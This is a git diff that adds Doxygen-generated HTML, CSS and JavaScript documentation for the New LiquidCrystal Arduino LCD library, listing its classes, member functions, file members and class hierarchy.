+uint8_t readLast ()
 
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SoftI2CMaster.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/SoftI2CMaster.cpp
    • +
+
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.js b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.js new file mode 100644 index 0000000..0d3b310 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_soft_i2_c_master.js @@ -0,0 +1,19 @@ +var class_soft_i2_c_master = +[ + [ "SoftI2CMaster", "class_soft_i2_c_master.html#ad5159d322afd4e1fcca6791c35576dc9", null ], + [ "SoftI2CMaster", "class_soft_i2_c_master.html#aece7e02a4a41da0fcc0d94c6b657df7b", null ], + [ "SoftI2CMaster", "class_soft_i2_c_master.html#ad46d2b3a0ced1d5e958246453681dc12", null ], + [ "beginTransmission", "class_soft_i2_c_master.html#ac39c24535036972ca9e6fa79819d5d9e", null ], + [ "beginTransmission", "class_soft_i2_c_master.html#a791bec13d09f3e1e49fbd7c72b1fd12d", null ], + [ "endTransmission", "class_soft_i2_c_master.html#aefc6d650a9b55fc313f101c90fb2a4a1", null ], + [ "read", "class_soft_i2_c_master.html#a04782f52620df5c8befcd18a849196aa", null ], + [ "read", "class_soft_i2_c_master.html#ae321cd9d0b882ecf32366996aa2887dc", null ], + [ "readLast", "class_soft_i2_c_master.html#a218e33e8f81b0f64370dc2fc036e5151", null ], + [ "requestFrom", "class_soft_i2_c_master.html#aa59620fa4bd961b21a4ffef3e66e1060", null ], + [ "requestFrom", "class_soft_i2_c_master.html#a7da6a512db82ea053e1b625199d26f95", null ], + [ "setPins", "class_soft_i2_c_master.html#aad64723d1850661878af673ad5abb185", null ], + [ "write", "class_soft_i2_c_master.html#ac5e27fbfa79d49e2aa10542099fe0f16", null ], + [ "write", "class_soft_i2_c_master.html#a2df16a5d624e2b21df7229b7eb4a4b31", null ], + [ "write", "class_soft_i2_c_master.html#af97e93a09958e253d413e5fb7f191012", null ], + [ "write", "class_soft_i2_c_master.html#ad5a93a06a09a5f7afaf2c2fc0e10c3b0", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/classes.html b/libraries/NewliquidCrystal/utility/docs/html/classes.html new file mode 100644 index 0000000..a4e7d4b --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/classes.html @@ -0,0 +1,114 @@ + + + + + + +New LiquidCrystal library: Class Index + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
Class Index
+
+
+
I | L | S
+ + + + + + + + +
  I  
+		LiquidCrystal   LiquidCrystal_SR   
  S  
+
LiquidCrystal_I2C   LiquidCrystal_SR1W   
I2CIO   LiquidCrystal_I2C_ByVac   LiquidCrystal_SR2W   SI2CIO   
  L  
+		LiquidCrystal_SI2C   LiquidCrystal_SR3W   
LCD   
+
I | L | S
+
+ +
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+ transition-duration: 0.5s; +} + +.memberdecls td.glow, .fieldtable tr.glow { + background-color: cyan; + box-shadow: 0 0 15px cyan; +} + +.mdescLeft, .mdescRight, +.memItemLeft, .memItemRight, +.memTemplItemLeft, .memTemplItemRight, .memTemplParams { + background-color: #F9FAFC; + border: none; + margin: 4px; + padding: 1px 0 0 8px; +} + +.mdescLeft, .mdescRight { + padding: 0px 8px 4px 8px; + color: #555; +} + +.memSeparator { + border-bottom: 1px solid #DEE4F0; + line-height: 1px; + margin: 0px; + padding: 0px; +} + +.memItemLeft, .memTemplItemLeft { + white-space: nowrap; +} + +.memItemRight { + width: 100%; +} + +.memTemplParams { + color: #4665A2; + white-space: nowrap; + font-size: 80%; +} + +/* @end */ + +/* @group Member Details */ + +/* Styles for detailed member documentation */ + +.memtemplate { + font-size: 80%; + color: #4665A2; + font-weight: normal; + margin-left: 9px; +} + +.memnav { + background-color: #EBEFF6; + border: 1px solid #A3B4D7; + text-align: center; + margin: 2px; + margin-right: 15px; + padding: 2px; +} + +.mempage { + width: 100%; +} + +.memitem { + padding: 0; + margin-bottom: 10px; + margin-right: 5px; + -webkit-transition: box-shadow 0.5s linear; + -moz-transition: box-shadow 0.5s linear; + -ms-transition: box-shadow 0.5s linear; + -o-transition: box-shadow 0.5s linear; + transition: box-shadow 0.5s linear; + display: table !important; + width: 100%; +} + +.memitem.glow { + box-shadow: 0 0 15px cyan; +} + +.memname { + font-weight: bold; + margin-left: 6px; +} + +.memname td { + vertical-align: bottom; +} + +.memproto, dl.reflist dt { + border-top: 1px solid #A8B8D9; + border-left: 1px solid #A8B8D9; + border-right: 1px solid #A8B8D9; + padding: 6px 0px 6px 0px; + color: #253555; + font-weight: bold; + text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9); + background-image:url('nav_f.png'); + background-repeat:repeat-x; + background-color: #E2E8F2; + /* opera specific markup */ + box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + border-top-right-radius: 4px; + border-top-left-radius: 4px; + /* firefox specific markup */ + -moz-box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 5px; + -moz-border-radius-topright: 4px; + -moz-border-radius-topleft: 4px; + /* webkit specific markup */ + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + -webkit-border-top-right-radius: 4px; + -webkit-border-top-left-radius: 4px; + +} + +.memdoc, dl.reflist dd { + border-bottom: 1px solid #A8B8D9; + border-left: 1px solid #A8B8D9; + border-right: 1px solid #A8B8D9; + padding: 6px 10px 2px 10px; + background-color: #FBFCFD; + border-top-width: 0; + background-image:url('nav_g.png'); + background-repeat:repeat-x; + background-color: #FFFFFF; + /* opera specific markup */ + border-bottom-left-radius: 4px; + border-bottom-right-radius: 4px; + box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); + /* firefox specific markup */ + -moz-border-radius-bottomleft: 4px; + -moz-border-radius-bottomright: 4px; + -moz-box-shadow: rgba(0, 0, 0, 0.15) 5px 5px 5px; + /* webkit specific markup */ + -webkit-border-bottom-left-radius: 4px; + -webkit-border-bottom-right-radius: 4px; + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); +} + +dl.reflist dt { + padding: 5px; +} + +dl.reflist dd { + margin: 0px 0px 10px 0px; + padding: 5px; +} + +.paramkey { + text-align: right; +} + +.paramtype { + white-space: nowrap; +} + +.paramname { + color: #602020; + white-space: nowrap; +} +.paramname em { + font-style: normal; +} +.paramname code { + line-height: 14px; +} + +.params, .retval, .exception, .tparams { + margin-left: 0px; + padding-left: 0px; +} + +.params .paramname, .retval .paramname { + font-weight: bold; + vertical-align: top; +} + +.params .paramtype { + font-style: italic; + vertical-align: top; +} + +.params .paramdir { + font-family: "courier new",courier,monospace; + vertical-align: top; +} + +table.mlabels { + border-spacing: 0px; +} + +td.mlabels-left { + width: 100%; + padding: 0px; +} + +td.mlabels-right { + vertical-align: bottom; + padding: 0px; + white-space: nowrap; +} + +span.mlabels { + margin-left: 8px; +} + +span.mlabel { + background-color: #728DC1; + border-top:1px solid #5373B4; + border-left:1px solid #5373B4; + border-right:1px solid #C4CFE5; + border-bottom:1px solid #C4CFE5; + text-shadow: none; + color: white; + margin-right: 4px; + padding: 2px 3px; + border-radius: 3px; + font-size: 7pt; + white-space: nowrap; + vertical-align: middle; +} + + + +/* @end */ + +/* these are for tree view inside a (index) page */ + +div.directory { + margin: 10px 0px; + border-top: 1px solid #9CAFD4; + border-bottom: 1px solid #9CAFD4; + width: 100%; +} + +.directory table { + border-collapse:collapse; +} + +.directory td { + margin: 0px; + padding: 0px; + vertical-align: top; +} + +.directory td.entry { + white-space: nowrap; + padding-right: 6px; + padding-top: 3px; +} + +.directory td.entry a { + outline:none; +} + +.directory td.entry a img { + border: none; +} + +.directory td.desc { + width: 100%; + padding-left: 6px; + padding-right: 6px; + padding-top: 3px; + border-left: 1px solid rgba(0,0,0,0.05); +} + +.directory tr.even { + padding-left: 6px; + background-color: #F7F8FB; +} + +.directory img { + vertical-align: -30%; +} + +.directory .levels { + white-space: nowrap; + width: 100%; + text-align: right; + font-size: 9pt; +} + +.directory .levels span { + cursor: pointer; + padding-left: 2px; + padding-right: 2px; + color: #3D578C; +} + +.arrow { + color: #9CAFD4; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; + cursor: pointer; + font-size: 80%; + display: inline-block; + width: 16px; + height: 22px; +} + +.icon { + font-family: Arial, Helvetica; + font-weight: bold; + font-size: 12px; + height: 14px; + width: 16px; + display: inline-block; + background-color: #728DC1; + color: white; + text-align: center; + border-radius: 4px; + margin-left: 2px; + margin-right: 2px; +} + +.icona { + width: 24px; + height: 22px; + display: inline-block; +} + +.iconfopen { + width: 24px; + height: 18px; + margin-bottom: 4px; + background-image:url('folderopen.png'); + background-position: 0px -4px; + background-repeat: repeat-y; + vertical-align:top; + display: inline-block; +} + +.iconfclosed { + width: 24px; + height: 18px; + margin-bottom: 4px; + background-image:url('folderclosed.png'); + background-position: 0px -4px; + background-repeat: repeat-y; + vertical-align:top; + display: inline-block; +} + +.icondoc { + width: 24px; + height: 18px; + margin-bottom: 4px; + background-image:url('doc.png'); + background-position: 0px -4px; + background-repeat: repeat-y; + vertical-align:top; + display: inline-block; +} + +table.directory { + font: 400 14px Roboto,sans-serif; +} + +/* @end */ + +div.dynheader { + margin-top: 8px; + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +address { + font-style: normal; + color: #2A3D61; +} + +table.doxtable { + border-collapse:collapse; + margin-top: 4px; + margin-bottom: 4px; +} + +table.doxtable td, table.doxtable th { + border: 1px solid #2D4068; + padding: 3px 7px 2px; +} + +table.doxtable th { + background-color: #374F7F; + color: #FFFFFF; + font-size: 110%; + padding-bottom: 4px; + padding-top: 5px; +} + +table.fieldtable { + /*width: 100%;*/ + margin-bottom: 10px; + border: 1px solid #A8B8D9; + border-spacing: 0px; + -moz-border-radius: 4px; + -webkit-border-radius: 4px; + border-radius: 4px; + -moz-box-shadow: rgba(0, 0, 0, 0.15) 2px 2px 2px; + -webkit-box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15); + box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.15); +} + +.fieldtable td, .fieldtable th { + padding: 3px 7px 2px; +} + +.fieldtable td.fieldtype, .fieldtable td.fieldname { + white-space: nowrap; + border-right: 1px solid #A8B8D9; + border-bottom: 1px solid #A8B8D9; + vertical-align: top; +} + +.fieldtable td.fieldname { + padding-top: 3px; +} + +.fieldtable td.fielddoc { + border-bottom: 1px solid #A8B8D9; + /*width: 100%;*/ +} + +.fieldtable td.fielddoc p:first-child { + margin-top: 0px; +} + +.fieldtable td.fielddoc p:last-child { + margin-bottom: 2px; +} + +.fieldtable tr:last-child td { + border-bottom: none; +} + +.fieldtable th { + background-image:url('nav_f.png'); + background-repeat:repeat-x; + background-color: #E2E8F2; + font-size: 90%; + color: #253555; + padding-bottom: 4px; + padding-top: 5px; + text-align:left; + -moz-border-radius-topleft: 4px; + -moz-border-radius-topright: 4px; + -webkit-border-top-left-radius: 4px; + -webkit-border-top-right-radius: 4px; + border-top-left-radius: 4px; + border-top-right-radius: 4px; + border-bottom: 1px solid #A8B8D9; +} + + +.tabsearch { + top: 0px; + left: 10px; + height: 36px; + background-image: url('tab_b.png'); + z-index: 101; + overflow: hidden; + font-size: 13px; +} + +.navpath ul +{ + font-size: 11px; + background-image:url('tab_b.png'); + background-repeat:repeat-x; + background-position: 0 -5px; + height:30px; + line-height:30px; + color:#8AA0CC; + border:solid 1px #C2CDE4; + overflow:hidden; + margin:0px; + padding:0px; +} + +.navpath li +{ + list-style-type:none; + float:left; + padding-left:10px; + padding-right:15px; + background-image:url('bc_s.png'); + background-repeat:no-repeat; + background-position:right; + color:#364D7C; +} + +.navpath li.navelem a +{ + height:32px; + display:block; + text-decoration: none; + outline: none; + color: #283A5D; + font-family: 'Lucida Grande',Geneva,Helvetica,Arial,sans-serif; + text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9); + text-decoration: none; +} + +.navpath li.navelem a:hover +{ + color:#6884BD; +} + +.navpath li.footer +{ + list-style-type:none; + float:right; + padding-left:10px; + padding-right:15px; + background-image:none; + background-repeat:no-repeat; + background-position:right; + color:#364D7C; + font-size: 8pt; +} + + +div.summary +{ + float: right; + font-size: 8pt; + padding-right: 5px; + width: 50%; + text-align: right; +} + +div.summary a +{ + white-space: nowrap; +} + +div.ingroups +{ + font-size: 8pt; + width: 50%; + text-align: left; +} + +div.ingroups a +{ + white-space: nowrap; +} + +div.header +{ + background-image:url('nav_h.png'); + background-repeat:repeat-x; + background-color: #F9FAFC; + margin: 0px; + border-bottom: 1px solid #C4CFE5; +} + +div.headertitle +{ + padding: 5px 5px 5px 10px; +} + +dl +{ + padding: 0 0 0 10px; +} + +/* dl.note, dl.warning, dl.attention, dl.pre, dl.post, dl.invariant, dl.deprecated, dl.todo, dl.test, dl.bug */ +dl.section +{ + margin-left: 0px; + padding-left: 0px; +} + +dl.note +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #D0C000; +} + +dl.warning, dl.attention +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #FF0000; +} + +dl.pre, dl.post, dl.invariant +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #00D000; +} + +dl.deprecated +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #505050; +} + +dl.todo +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #00C0E0; +} + +dl.test +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #3030E0; +} + +dl.bug +{ + margin-left:-7px; + padding-left: 3px; + border-left:4px solid; + border-color: #C08050; +} + +dl.section dd { + margin-bottom: 6px; +} + + +#projectlogo +{ + text-align: center; + vertical-align: bottom; + border-collapse: separate; +} + +#projectlogo img +{ + border: 0px none; +} + +#projectalign +{ + vertical-align: middle; +} + +#projectname +{ + font: 300% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 2px 0px; +} + +#projectbrief +{ + font: 120% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 0px; +} + +#projectnumber +{ + font: 50% Tahoma, Arial,sans-serif; + margin: 0px; + padding: 0px; +} + +#titlearea +{ + padding: 0px; + margin: 0px; + width: 100%; + border-bottom: 1px solid #5373B4; +} + +.image +{ + text-align: center; +} + +.dotgraph +{ + text-align: center; +} + +.mscgraph +{ + text-align: center; +} + +.diagraph +{ + text-align: center; +} + +.caption +{ + font-weight: bold; +} + +div.zoom +{ + border: 1px solid #90A5CE; +} + +dl.citelist { + margin-bottom:50px; +} + +dl.citelist dt { + color:#334975; + float:left; + font-weight:bold; + margin-right:10px; + padding:5px; +} + +dl.citelist dd { + margin:2px 0; + padding:5px 0; +} + +div.toc { + padding: 14px 25px; + background-color: #F4F6FA; + border: 1px solid #D8DFEE; + border-radius: 7px 7px 7px 7px; + float: right; + height: auto; + margin: 0 20px 10px 10px; + width: 200px; +} + +div.toc li { + background: url("bdwn.png") no-repeat scroll 0 5px transparent; + font: 10px/1.2 Verdana,DejaVu Sans,Geneva,sans-serif; + margin-top: 5px; + padding-left: 10px; + padding-top: 2px; +} + +div.toc h3 { + font: bold 12px/1.2 Arial,FreeSans,sans-serif; + color: #4665A2; + border-bottom: 0 none; + margin: 0; +} + +div.toc ul { + list-style: none outside none; + border: medium none; + padding: 0px; +} + +div.toc li.level1 { + margin-left: 0px; +} + +div.toc li.level2 { + margin-left: 15px; +} + +div.toc li.level3 { + margin-left: 30px; +} + +div.toc li.level4 { + margin-left: 45px; +} + +.inherit_header { + font-weight: bold; + color: gray; + cursor: pointer; + -webkit-touch-callout: none; + -webkit-user-select: none; + -khtml-user-select: none; + -moz-user-select: none; + -ms-user-select: none; + user-select: none; +} + +.inherit_header td { + padding: 6px 0px 2px 5px; +} + +.inherit { + display: none; +} + +tr.heading h2 { + margin-top: 12px; + margin-bottom: 4px; +} + +/* tooltip related style info */ + +.ttc { + position: absolute; + display: none; +} + +#powerTip { + cursor: default; + white-space: nowrap; + background-color: white; + border: 1px solid gray; + border-radius: 4px 4px 4px 4px; + box-shadow: 1px 1px 7px gray; + display: none; + font-size: smaller; + max-width: 80%; + opacity: 0.9; + padding: 1ex 1em 1em; + position: absolute; + z-index: 2147483647; +} + +#powerTip div.ttdoc { + color: grey; + font-style: italic; +} + +#powerTip div.ttname a { + font-weight: bold; +} + +#powerTip div.ttname { + font-weight: bold; +} + +#powerTip div.ttdeci { + color: #006318; +} + +#powerTip div { + margin: 0px; + padding: 0px; + font: 12px/16px Roboto,sans-serif; +} + +#powerTip:before, #powerTip:after { + content: ""; + position: absolute; + margin: 0px; +} + +#powerTip.n:after, #powerTip.n:before, +#powerTip.s:after, #powerTip.s:before, +#powerTip.w:after, #powerTip.w:before, +#powerTip.e:after, #powerTip.e:before, +#powerTip.ne:after, #powerTip.ne:before, +#powerTip.se:after, #powerTip.se:before, +#powerTip.nw:after, #powerTip.nw:before, +#powerTip.sw:after, #powerTip.sw:before { + border: solid transparent; + content: " "; + height: 0; + width: 0; + position: absolute; +} + +#powerTip.n:after, #powerTip.s:after, +#powerTip.w:after, #powerTip.e:after, +#powerTip.nw:after, #powerTip.ne:after, +#powerTip.sw:after, #powerTip.se:after { + border-color: rgba(255, 255, 255, 0); +} + +#powerTip.n:before, #powerTip.s:before, +#powerTip.w:before, #powerTip.e:before, +#powerTip.nw:before, #powerTip.ne:before, +#powerTip.sw:before, #powerTip.se:before { + border-color: rgba(128, 128, 128, 0); +} + +#powerTip.n:after, #powerTip.n:before, +#powerTip.ne:after, #powerTip.ne:before, +#powerTip.nw:after, #powerTip.nw:before { + top: 100%; +} + +#powerTip.n:after, #powerTip.ne:after, #powerTip.nw:after { + border-top-color: #ffffff; + border-width: 10px; + margin: 0px -10px; +} +#powerTip.n:before { + border-top-color: #808080; + border-width: 11px; + margin: 0px -11px; +} +#powerTip.n:after, #powerTip.n:before { + left: 50%; +} + +#powerTip.nw:after, #powerTip.nw:before { + right: 14px; +} + +#powerTip.ne:after, #powerTip.ne:before { + left: 14px; +} + +#powerTip.s:after, #powerTip.s:before, +#powerTip.se:after, #powerTip.se:before, +#powerTip.sw:after, #powerTip.sw:before { + bottom: 100%; +} + +#powerTip.s:after, #powerTip.se:after, #powerTip.sw:after { + border-bottom-color: #ffffff; + border-width: 10px; + margin: 0px -10px; +} + +#powerTip.s:before, #powerTip.se:before, #powerTip.sw:before { + border-bottom-color: #808080; + border-width: 11px; + margin: 0px -11px; +} + +#powerTip.s:after, #powerTip.s:before { + left: 50%; +} + +#powerTip.sw:after, #powerTip.sw:before { + right: 14px; +} + +#powerTip.se:after, #powerTip.se:before { + left: 14px; +} + +#powerTip.e:after, #powerTip.e:before { + left: 100%; +} +#powerTip.e:after { + border-left-color: #ffffff; + border-width: 10px; + top: 50%; + margin-top: -10px; +} +#powerTip.e:before { + border-left-color: #808080; + border-width: 11px; + top: 50%; + margin-top: -11px; +} + +#powerTip.w:after, #powerTip.w:before { + right: 100%; +} +#powerTip.w:after { + border-right-color: #ffffff; + border-width: 10px; + top: 50%; + margin-top: -10px; +} +#powerTip.w:before { + border-right-color: #808080; + border-width: 11px; + top: 50%; + margin-top: -11px; +} + +@media print +{ + #top { display: none; } + #side-nav { display: none; } + #nav-path { display: none; } + body { overflow:visible; } + h1, h2, h3, h4, h5, h6 { page-break-after: avoid; } + .summary { display: none; } + .memitem { page-break-inside: avoid; } + #doc-content + { + margin-left:0 !important; + height:auto !important; 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+ var summary = $('#'+base+'-summary'); + var content = $('#'+base+'-content'); + var trigger = $('#'+base+'-trigger'); + var src=$(trigger).attr('src'); + if (content.is(':visible')===true) { + content.hide(); + summary.show(); + $(linkObj).addClass('closed').removeClass('opened'); + $(trigger).attr('src',src.substring(0,src.length-8)+'closed.png'); + } else { + content.show(); + summary.hide(); + $(linkObj).removeClass('closed').addClass('opened'); + $(trigger).attr('src',src.substring(0,src.length-10)+'open.png'); + } + return false; +} + +function updateStripes() +{ + $('table.directory tr'). + removeClass('even').filter(':visible:even').addClass('even'); +} + +function toggleLevel(level) +{ + $('table.directory tr').each(function() { + var l = this.id.split('_').length-1; + var i = $('#img'+this.id.substring(3)); + var a = $('#arr'+this.id.substring(3)); + if (l + + + + + +New LiquidCrystal library: File List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
File List
+
+
+
Here is a list of all documented files with brief descriptions:
+ + + + + + + + + + + + + + +
 FastIO.h
 I2CIO.h
 LCD.h
 LiquidCrystal.h
 LiquidCrystal_I2C.h
 LiquidCrystal_I2C_ByVac.h
 LiquidCrystal_SI2C.h
 LiquidCrystal_SR.h
 LiquidCrystal_SR1W.h
 LiquidCrystal_SR2W.h
 LiquidCrystal_SR3W.h
 SI2CIO.h
 SoftI2CMaster.h
+
+
+ +
+Generated by   +doxygen + 1.8.10 +
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+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + + +
+ +
+
+ + +
+ +
+ +
+
Here is a list of all documented class members with links to the class documentation for each member:
+ +

- a -

    +
  • autoscroll() +: LCD +
    • +
+ + +

- b -

+ + +

- c -

    +
  • clear() +: LCD +
    • +
  • createChar() +: LCD +
    • +
  • cursor() +: LCD +
    • +
+ + +

- d -

+ + +

- h -

    +
  • home() +: LCD +
    • +
+ + +

- i -

+ + +

- l -

+ + +

- m -

    +
  • moveCursorLeft() +: LCD +
    • +
  • moveCursorRight() +: LCD +
    • +
+ + +

- n -

    +
  • noAutoscroll() +: LCD +
    • +
  • noBacklight() +: LCD +
    • +
  • noBlink() +: LCD +
    • +
  • noCursor() +: LCD +
    • +
  • noDisplay() +: LCD +
    • +
+ + +

- o -

    +
  • off() +: LCD +
    • +
  • on() +: LCD +
    • +
+ + +

- p -

+ + +

- r -

+ + +

- s -

+ + +

- w -

+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/functions_func.html b/libraries/NewliquidCrystal/utility/docs/html/functions_func.html new file mode 100644 index 0000000..ba33778 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/functions_func.html @@ -0,0 +1,340 @@ + + + + + + +New LiquidCrystal library: Class Members - Functions + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + + +
+ +
+
+ + +
+ +
+ +
+  + +

- a -

    +
  • autoscroll() +: LCD +
    • +
+ + +

- b -

+ + +

- c -

    +
  • clear() +: LCD +
    • +
  • createChar() +: LCD +
    • +
  • cursor() +: LCD +
    • +
+ + +

- d -

+ + +

- h -

    +
  • home() +: LCD +
    • +
+ + +

- i -

+ + +

- l -

+ + +

- m -

    +
  • moveCursorLeft() +: LCD +
    • +
  • moveCursorRight() +: LCD +
    • +
+ + +

- n -

    +
  • noAutoscroll() +: LCD +
    • +
  • noBacklight() +: LCD +
    • +
  • noBlink() +: LCD +
    • +
  • noCursor() +: LCD +
    • +
  • noDisplay() +: LCD +
    • +
+ + +

- o -

    +
  • off() +: LCD +
    • +
  • on() +: LCD +
    • +
+ + +

- p -

+ + +

- r -

+ + +

- s -

+ + +

- w -

+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/functions_vars.html b/libraries/NewliquidCrystal/utility/docs/html/functions_vars.html new file mode 100644 index 0000000..086c706 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/functions_vars.html @@ -0,0 +1,135 @@ + + + + +LCD Library: Class Members - Variables + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ +
+
+
+ +
+
+ 
    +
  • _cols +: LCD +
    • +
  • _displaycontrol +: LCD +
    • +
  • _displayfunction +: LCD +
    • +
  • _displaymode +: LCD +
    • +
  • _numlines +: LCD +
    • +
  • _polarity +: LCD +
    • +
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals.html b/libraries/NewliquidCrystal/utility/docs/html/globals.html new file mode 100644 index 0000000..29e1f62 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals.html @@ -0,0 +1,490 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+ +
+
+
+ +
+
+
Here is a list of all file members with links to the files they belong to:
+ +

- _ -

+ + +

- a -

+ + +

- b -

    +
  • BACKLIGHT_OFF +: LCD.h +
    • +
  • BACKLIGHT_ON +: LCD.h +
    • +
+ + +

- c -

+ + +

- d -

+ + +

- e -

+ + +

- f -

+ + +

- h -

+ + +

- l -

+ + +

- n -

+ + +

- p -

+ + +

- r -

+ + +

- s -

+ + +

- t -

+ + +

- w -

    +
  • waitUsec() +: LCD.h +
    • +
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals_defs.html b/libraries/NewliquidCrystal/utility/docs/html/globals_defs.html new file mode 100644 index 0000000..6fc2e40 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals_defs.html @@ -0,0 +1,412 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + + +
+
+ +
+
+
+ +
+
+  + +

- _ -

+ + +

- a -

+ + +

- b -

    +
  • BACKLIGHT_OFF +: LCD.h +
    • +
  • BACKLIGHT_ON +: LCD.h +
    • +
+ + +

- c -

+ + +

- d -

+ + +

- e -

+ + +

- f -

+ + +

- h -

    +
  • HOME_CLEAR_EXEC +: LCD.h +
    • +
+ + +

- l -

+ + +

- r -

+ + +

- s -

+ + +

- t -

+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals_enum.html b/libraries/NewliquidCrystal/utility/docs/html/globals_enum.html new file mode 100644 index 0000000..bb4e68a --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals_enum.html @@ -0,0 +1,124 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ +
+
+
+ +
+
+  +
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals_eval.html b/libraries/NewliquidCrystal/utility/docs/html/globals_eval.html new file mode 100644 index 0000000..115e47e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals_eval.html @@ -0,0 +1,130 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ +
+
+
+ +
+
+  +
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals_func.html b/libraries/NewliquidCrystal/utility/docs/html/globals_func.html new file mode 100644 index 0000000..38b6dbf --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals_func.html @@ -0,0 +1,154 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ +
+
+
+ +
+
+  +
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/globals_type.html b/libraries/NewliquidCrystal/utility/docs/html/globals_type.html new file mode 100644 index 0000000..47fb668 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/globals_type.html @@ -0,0 +1,124 @@ + + + + +LCD Library: File Members + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + + +
+
+ +
+
+
+ +
+
+  +
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/hierarchy.html b/libraries/NewliquidCrystal/utility/docs/html/hierarchy.html new file mode 100644 index 0000000..a3c8baa --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/hierarchy.html @@ -0,0 +1,116 @@ + + + + + + +New LiquidCrystal library: Class Hierarchy + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
Class Hierarchy
+
+
+
This inheritance list is sorted roughly, but not completely, alphabetically:
+
[detail level 123]
+ + + + + + + + + + + + +
 CI2CIO
 ▼CPrint
 ▼CLCD
 CLiquidCrystal
 CLiquidCrystal_I2C
 CLiquidCrystal_I2C_ByVac
 CLiquidCrystal_SI2C
 CLiquidCrystal_SR
 CLiquidCrystal_SR1W
 CLiquidCrystal_SR2W
 CLiquidCrystal_SR3W
 CSI2CIO
